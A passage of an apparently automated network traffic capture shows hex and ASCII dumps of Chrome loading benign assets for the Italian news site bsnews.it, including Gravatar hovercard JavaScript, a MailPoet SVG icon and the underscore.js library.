2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 22 3a 22 26 23 78 36 30 3b 22 7d 3b 72 65 74 75 72 6e 20 74 2e 72 65 70 6c 61 63 65 28 2f 26 28 61 6d 70 7c 6c 74 7c 67 74 7c 71 75 6f 74 7c 23 33 39 7c 78 36 30 29 3b 7c 5b 5c 26 3c 3e 22 27 60 5d 2f 67 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 22 26 22 3d 3d 3d 74 5b 30 5d 3f 74 3a 72 5b 74 5d 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 74 29 7b 72 65 74 75 72 6e 20 65 6e 63 6f 64 65 55 52 49 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 74 5b 72 5d 7c 7c 72 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 72 65 74 75 72 6e 20 76 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 3f 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 2e 62 69 6e 64 28 29 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 31 3b Data Ascii: ":"`"};return t.replace(/&(amp\|lt\|gt\|quot\|#39\|x60);\|[\&<>"'`]/g,(function(t){return"&"===t[0]?t:r[t]}))}function o(t){return encodeURI(t)}function c(t,r){return t[r]\|\|r}function v(){return v=Object.assign?Object.assign.bind():function(t){for(var r=1;
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 74 65 6e 65 72 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 70 28 61 2c 74 29 7d 29 29 7d 29 29 29 7d 2c 74 68 69 73 2e 64 65 74 61 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 76 2e 6c 65 6e 67 74 68 26 26 28 72 2e 76 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 61 3d 74 2e 72 65 66 3b 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 5f 7d 29 29 2c 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 70 7d 29 29 7d 29 29 2c 72 Data Ascii: tener("mouseleave",(function(a){return r.p(a,t)}))})))},this.detach=function(){r.v.length&&(r.v.forEach((function(t){var a=t.ref;a.removeEventListener("mouseenter",(function(){return r._})),a.removeEventListener("mouseleave",(function(){return r.p}))})),r
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 73 73 4e 61 6d 65 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 20 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 2d 2d 73 6b 65 6c 65 74 6f 6e 22 2b 28 74 68 69 73 2e 48 3f 22 20 22 2b 74 68 69 73 2e 48 3a 22 22 29 2c 74 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 5c 6e 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 69 6e 6e 65 72 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 68 65 61 64 65 72 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 61 76 61 74 61 72 2d 6c 69 6e 6b 22 3e 3c 2f 64 69 76 3e 5c 6e Data Ascii: ssName="gravatar-hovercard gravatar-hovercard--skeleton"+(this.H?" "+this.H:""),t.innerHTML='\n\t\t\t<div class="gravatar-hovercard__inner">\n\t\t\t\t<div class="gravatar-hovercard__header">\n\t\t\t\t\t<div class="gravatar-hovercard__avatar-link"></div>\n
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 2e 67 65 74 28 65 29 2c 70 3d 74 2e 63 72 65 61 74 65 48 6f 76 65 72 63 61 72 64 28 76 28 7b 7d 2c 6d 2c 7b 74 68 75 6d 62 6e 61 69 6c 55 72 6c 3a 6d 2e 74 68 75 6d 62 6e 61 69 6c 55 72 6c 2b 6f 7d 29 2c 7b 61 64 64 69 74 69 6f 6e 61 6c 43 6c 61 73 73 3a 61 2e 48 2c 6d 79 48 61 73 68 3a 61 2e 55 2c 69 31 38 6e 3a 61 2e 74 7d 29 2e 66 69 72 73 74 45 6c 65 6d 65 6e 74 43 68 69 6c 64 3b 72 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 2d 2d 73 6b 65 6c 65 74 6f 6e 22 29 2c 72 2e 72 65 70 6c 61 63 65 43 68 69 6c 64 72 65 6e 28 70 29 2c 61 2e 4c 28 65 2c 61 2e 68 2e 67 65 74 28 65 29 29 7d 29 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 2e 66 69 72 73 74 45 6c 65 6d 65 6e 74 Data Ascii: .get(e),p=t.createHovercard(v({},m,{thumbnailUrl:m.thumbnailUrl+o}),{additionalClass:a.H,myHash:a.U,i18n:a.t}).firstElementChild;r.classList.remove("gravatar-hovercard--skeleton"),r.replaceChildren(p),a.L(e,a.h.get(e))})).catch((function(t){r.firstElement
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6b 26 26 28 77 3d 22 62 6f 74 74 6f 6d 22 29 2c 22 62 6f 74 74 6f 6d 22 3d 3d 3d 77 26 26 6a 3c 78 26 26 6b 3e 6a 26 26 28 77 3d 22 74 6f 70 22 29 2c 22 6c 65 66 74 22 3d 3d 3d 77 26 26 4f 3c 4d 26 26 53 3e 4f 26 26 28 77 3d 22 72 69 67 68 74 22 29 2c 22 72 69 67 68 74 22 3d 3d 3d 77 26 26 53 3c 4d 26 26 4f 3e 53 26 26 28 77 3d 22 6c 65 66 74 22 29 7d 72 65 74 75 72 6e 22 74 6f 70 22 3d 3d 3d 77 7c 7c 22 62 6f 74 74 6f 6d 22 3d 3d 3d 77 3f 28 6d 3d 5f 2b 64 2e 77 69 64 74 68 2f 32 2d 75 2e 77 69 64 74 68 2f 32 2c 70 3d 22 74 6f 70 22 3d 3d 3d 77 3f 68 2d 75 2e 68 65 69 67 68 74 2d 76 3a 66 2c 22 73 74 61 72 74 22 3d 3d 3d 79 26 26 28 6d 3d 5f 29 2c 22 65 6e 64 22 3d 3d 3d 79 26 26 28 6d 3d 67 2d 75 2e 77 69 64 74 68 29 29 3a 28 6d 3d 22 72 69 67 68 74 22 Data Ascii: k&&(w="bottom"),"bottom"===w&&j<x&&k>j&&(w="top"),"left"===w&&O<M&&S>O&&(w="right"),"right"===w&&S<M&&O>S&&(w="left")}return"top"===w\|\|"bottom"===w?(m=_+d.width/2-u.width/2,p="top"===w?h-u.height-v:f,"start"===y&&(m=_),"end"===y&&(m=g-u.width)):(m="right"
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 3d 3d 64 2c 53 3d 77 2e 73 6c 69 63 65 28 30 2c 33 29 2e 72 65 64 75 63 65 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 76 61 72 20 61 3d 72 2e 75 72 6c 2c 6e 3d 72 2e 73 68 6f 72 74 6e 61 6d 65 2c 69 3d 72 2e 69 63 6f 6e 55 72 6c 2c 63 3d 72 2e 6e 61 6d 65 3b 72 65 74 75 72 6e 20 74 2e 70 75 73 68 28 27 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 3c 61 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 73 6f 63 69 61 6c 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 27 2b 6f 28 61 29 2b 27 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 64 61 74 61 2d 73 65 72 76 69 63 65 2d 6e 61 6d 65 3d 22 27 2b 6e 2b 27 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 3c 69 6d 67 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 Data Ascii: ==d,S=w.slice(0,3).reduce((function(t,r){var a=r.url,n=r.shortname,i=r.iconUrl,c=r.name;return t.push('\n\t\t\t\t\t<a class="gravatar-hovercard__social-link" href="'+o(a)+'" target="_blank" data-service-name="'+n+'">\n\t\t\t\t\t\t<img class="gravatar-hove
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 69 61 6c 2d 6c 69 6e 6b 22 20 68 72 65 66 3d 22 27 2b 6b 2b 27 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 64 61 74 61 2d 73 65 72 76 69 63 65 2d 6e 61 6d 65 3d 22 67 72 61 76 61 74 61 72 22 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 3c 69 6d 67 20 63 6c 61 73 73 3d 22 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 73 6f 63 69 61 6c 2d 69 63 6f 6e 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 65 63 75 72 65 2e 67 72 61 76 61 74 61 72 2e 63 6f 6d 2f 69 63 6f 6e 73 2f 67 72 61 76 61 74 61 72 2e 73 76 67 22 20 77 69 64 74 68 3d 22 33 32 22 20 68 65 69 67 68 74 3d 22 33 32 22 20 61 6c 74 3d 22 47 72 61 76 61 74 61 72 22 20 2f 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 3c 2f 61 3e 5c 6e 5c 74 5c 74 5c 74 5c 74 5c 74 5c 74 27 Data Ascii: ial-link" href="'+k+'" target="_blank" data-service-name="gravatar">\n\t\t\t\t\t\t\t<img class="gravatar-hovercard__social-icon" src="https://secure.gravatar.com/icons/gravatar.svg" width="32" height="32" alt="Gravatar" />\n\t\t\t\t\t\t</a>\n\t\t\t\t\t\t'
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 21 30 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 69 2c 65 2c 6f 3b 69 3d 74 2c 65 3d 61 2c 6f 3d 6e 5b 61 5d 2c 28 65 3d 72 28 65 29 29 69 6e 20 69 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 65 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 69 5b 65 5d 3d 6f 7d 29 29 3a 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 73 28 6e 29 29 3a 68 28 4f 62 6a 65 63 Data Ascii: !0).forEach((function(a){var i,e,o;i=t,e=a,o=n[a],(e=r(e))in i?Object.defineProperty(i,e,{value:o,enumerable:!0,configurable:!0,writable:!0}):i[e]=o})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):h(Objec
2024-03-28 08:51:02 UTC	1188	IN	Data Raw: 61 72 64 5f 5f 70 72 6f 66 69 6c 65 2d 6c 69 6e 6b 22 29 3b 6e 26 26 28 6e 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 28 22 63 6c 69 63 6b 5f 76 69 65 77 5f 70 72 6f 66 69 6c 65 22 29 7d 29 3b 76 61 72 20 69 3d 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 70 72 6f 66 69 6c 65 2d 6c 69 6e 6b 2d 2d 65 64 69 74 22 29 3b 69 26 26 28 69 2e 6f 6e 63 6c 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 28 22 63 6c 69 63 6b 5f 65 64 69 74 5f 70 72 6f 66 69 6c 65 22 29 7d 29 3b 76 61 72 20 65 3d 61 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 67 72 61 76 61 74 61 72 2d 68 6f 76 65 72 63 61 72 64 5f 5f 61 76 61 74 61 72 2d 6c 69 6e Data Ascii: ard__profile-link");n&&(n.onclick=function(){return g("click_view_profile")});var i=a.querySelector(".gravatar-hovercard__profile-link--edit");i&&(i.onclick=function(){return g("click_edit_profile")});var e=a.querySelector(".gravatar-hovercard__avatar-lin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49766	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	709	OUT	GET /wp-content/plugins/mailpoet/assets/img/form_close_icon/round_white.svg HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	695	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: image/svg+xml Content-Length: 1360 Connection: close last-modified: Tue, 26 Mar 2024 02:51:17 GMT etag: "66023825-550" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DHYr2GOzmSCc%2FMEa2X0FK7xi784NaaCnNOlwjLB8lzyXyNgSEZptmFon%2Bcx6oZiaGpDOodOK%2BcpWAzTy0L%2BRiQj%2BvruRneLHzlusi04HZ5tH3Hgw3zkJN%2B8o0lM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66041cb1981ca-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:02 UTC	674	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 69 63 6f 6e 73 2f 69 63 5f 63 6c 6f 73 65 5f 72 6f 75 6e 64 5f 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 67 20 69 64 3d 22 69 63 6f 6e 73 2f 69 63 5f 63 6c 6f 73 65 5f 72 6f 75 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>icons/ic_close_round_1</title> <g id="icons/ic_close_rou
2024-03-28 08:51:02 UTC	686	IN	Data Raw: 30 37 33 39 34 31 38 20 31 31 2e 31 34 35 30 30 39 36 2c 34 2e 30 37 33 39 34 31 38 20 31 31 2e 35 33 35 35 33 33 39 2c 34 2e 34 36 34 34 36 36 30 39 20 43 31 31 2e 39 32 36 30 35 38 32 2c 34 2e 38 35 34 39 39 30 33 39 20 31 31 2e 39 32 36 30 35 38 32 2c 35 2e 34 38 38 31 35 35 33 36 20 31 31 2e 35 33 35 35 33 33 39 2c 35 2e 38 37 38 36 37 39 36 36 20 4c 39 2e 34 31 34 32 31 33 35 36 2c 38 20 4c 31 31 2e 35 33 35 35 33 33 39 2c 31 30 2e 31 32 31 33 32 30 33 20 43 31 31 2e 39 32 36 30 35 38 32 2c 31 30 2e 35 31 31 38 34 34 36 20 31 31 2e 39 32 36 30 35 38 32 2c 31 31 2e 31 34 35 30 30 39 36 20 31 31 2e 35 33 35 35 33 33 39 2c 31 31 2e 35 33 35 35 33 33 39 20 43 31 31 2e 31 34 35 30 30 39 36 2c 31 31 2e 39 32 36 30 35 38 32 20 31 30 2e 35 31 31 38 34 34 36 Data Ascii: 0739418 11.1450096,4.0739418 11.5355339,4.46446609 C11.9260582,4.85499039 11.9260582,5.48815536 11.5355339,5.87867966 L9.41421356,8 L11.5355339,10.1213203 C11.9260582,10.5118446 11.9260582,11.1450096 11.5355339,11.5355339 C11.1450096,11.9260582 10.5118446

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49771	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:01 UTC	542	OUT	GET /c/6.4.3/wp-includes/js/underscore.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:02 UTC	534	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:02 GMT Content-Type: application/javascript Content-Length: 18833 Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Sep 2022 15:18:25 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:02 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 1 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:02 UTC	835	IN	Data Raw: 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 76 61 72 20 74 2c 65 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 72 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 75 6e 64 65 72 73 63 6f 72 65 22 2c 72 29 3a 28 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 6e 7c 7c 73 65 6c 66 2c 74 3d 6e 2e 5f 2c 28 65 3d 6e 2e Data Ascii: /! This file is auto-generated /!function(n,r){var t,e;"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n="undefined"!=typeof globalThis?globalThis:n\|\|self,t=n._,(e=n.
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 74 79 70 65 4f 66 22 2c 22 74 6f 53 74 72 69 6e 67 22 2c 22 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 22 2c 22 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 22 2c 22 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 22 5d 2c 47 3d 4d 61 74 68 2e 70 6f 77 28 32 2c 35 33 29 2d 31 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 75 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 6e 75 6c 6c 3d 3d 6f 3f 75 2e 6c 65 6e 67 74 68 2d 31 3a 2b 6f 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 4d 61 74 68 2e 6d 61 78 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 6f 2c 30 29 2c 72 3d 41 72 72 61 79 28 6e 29 2c 74 3d 30 3b 74 3c 6e 3b 74 2b 2b 29 72 5b 74 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 74 2b 6f 5d 3b 73 77 69 74 63 68 28 6f 29 7b 63 61 73 65 20 30 3a Data Ascii: typeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],G=Math.pow(2,53)-1;function l(u,o){return o=null==o?u.length-1:+o,function(){for(var n=Math.max(arguments.length-o,0),r=Array(n),t=0;t<n;t++)r[t]=arguments[t+o];switch(o){case 0:
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 6e 28 72 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6e 3d 72 28 6e 29 3b 72 65 74 75 72 6e 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 6e 26 26 30 3c 3d 6e 26 26 6e 3c 3d 47 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 6e 28 72 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 76 6f 69 64 20 30 3a 6e 5b 72 5d 7d 7d 76 61 72 20 64 3d 73 6e 28 22 62 79 74 65 4c 65 6e 67 74 68 22 29 2c 70 6e 3d 6c 6e 28 64 29 2c 68 6e 3d 2f 5c 5b 6f 62 6a 65 63 74 20 28 28 49 7c 55 69 29 6e 74 28 38 7c 31 36 7c 33 32 29 7c 46 6c 6f 61 74 28 33 32 7c 36 34 29 7c 55 69 6e 74 38 43 6c 61 6d 70 65 64 Data Ascii: urn function(){return n}}function ln(r){return function(n){n=r(n);return"number"==typeof n&&0<=n&&n<=G}}function sn(r){return function(n){return null==n?void 0:n[r]}}var d=sn("byteLength"),pn=ln(d),hn=/\[object ((I\|Ui)nt(8\|16\|32)\|Float(32\|64)\|Uint8Clamped
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 75 6c 6c 21 3d 6e 26 26 6e 75 6c 6c 21 3d 72 26 26 28 6e 21 3d 6e 3f 72 21 3d 72 3a 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 28 75 3d 74 79 70 65 6f 66 20 6e 29 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 75 7c 7c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 72 29 26 26 66 75 6e 63 74 69 6f 6e 20 6e 28 72 2c 74 2c 65 2c 75 29 7b 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 72 3d 72 2e 5f 77 72 61 70 70 65 64 29 3b 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 6d 26 26 28 74 3d 74 2e 5f 77 72 61 70 70 65 64 29 3b 76 61 72 20 6f 3d 73 2e 63 61 6c 6c 28 72 29 3b 69 66 28 6f 21 3d 3d 73 2e 63 61 6c 6c 28 74 29 29 72 65 74 75 72 6e 21 31 3b 69 66 28 75 6e 26 26 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 3d 3d 6f 26 26 68 28 72 29 29 7b 69 66 28 21 68 28 74 Data Ascii: ull!=n&&null!=r&&(n!=n?r!=r:("function"==(u=typeof n)\|\|"object"==u\|\|"object"==typeof r)&&function n(r,t,e,u){r instanceof m&&(r=r._wrapped);t instanceof m&&(t=t._wrapped);var o=s.call(r);if(o!==s.call(t))return!1;if(un&&"[object Object]"==o&&h(r)){if(!h(t
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 6e 28 6e 29 7b 69 66 28 6e 75 6c 6c 3d 3d 6e 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 72 3d 63 28 6e 29 3b 69 66 28 67 28 72 29 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 75 3b 74 2b 2b 29 69 66 28 21 70 28 6e 5b 65 5b 74 5d 5d 29 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 65 21 3d 3d 77 6e 7c 7c 21 70 28 6e 5b 5f 6e 5d 29 7d 7d 76 61 72 20 5f 6e 3d 22 66 6f 72 45 61 63 68 22 2c 72 3d 5b 22 63 6c 65 61 72 22 2c 22 64 65 6c 65 74 65 22 5d 2c 75 3d 5b 22 67 65 74 22 2c 22 68 61 73 22 2c 22 73 65 74 22 5d 2c 55 3d 72 2e 63 6f 6e 63 61 74 28 5f 6e 2c 75 29 2c 77 6e 3d 72 2e 63 6f 6e 63 61 74 28 75 29 2c 74 3d 5b 22 61 64 64 22 5d 2e 63 6f 6e 63 61 74 28 72 2c 5f 6e 2c 22 68 61 73 22 29 2c 75 3d 61 3f 6a 6e 28 55 29 3a 69 Data Ascii: n(n){if(null==n)return!1;var r=c(n);if(g(r))return!1;for(var t=0;t<u;t++)if(!p(n[e[t]]))return!1;return e!==wn\|\|!p(n[_n])}}var _n="forEach",r=["clear","delete"],u=["get","has","set"],U=r.concat(_n,u),wn=r.concat(u),t=["add"].concat(r,_n,"has"),u=a?jn(U):i
2024-03-28 08:51:02 UTC	1369	IN	Data Raw: 7d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 75 2e 63 61 6c 6c 28 6f 2c 6e 2c 72 2c 74 29 7d 3b 63 61 73 65 20 34 3a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 2c 74 2c 65 29 7b 72 65 74 75 72 6e 20 75 2e 63 61 6c 6c 28 6f 2c 6e 2c 72 2c 74 2c 65 29 7d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 2e 61 70 70 6c 79 28 6f 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 44 6e 28 6e 2c 72 2c 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 6e 3f 54 6e 3a 70 28 6e 29 3f 78 28 6e 2c 72 2c 74 29 3a 28 6f 28 6e 29 26 26 21 76 28 6e 29 3f 41 3a 6b 6e 29 28 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 52 6e 28 6e 2c 72 29 7b 72 65 74 75 Data Ascii: };case 3:return function(n,r,t){return u.call(o,n,r,t)};case 4:return function(n,r,t,e){return u.call(o,n,r,t,e)}}return function(){return u.apply(o,arguments)}}function Dn(n,r,t){return null==n?Tn:p(n)?x(n,r,t):(o(n)&&!v(n)?A:kn)(n)}function Rn(n,r){retu
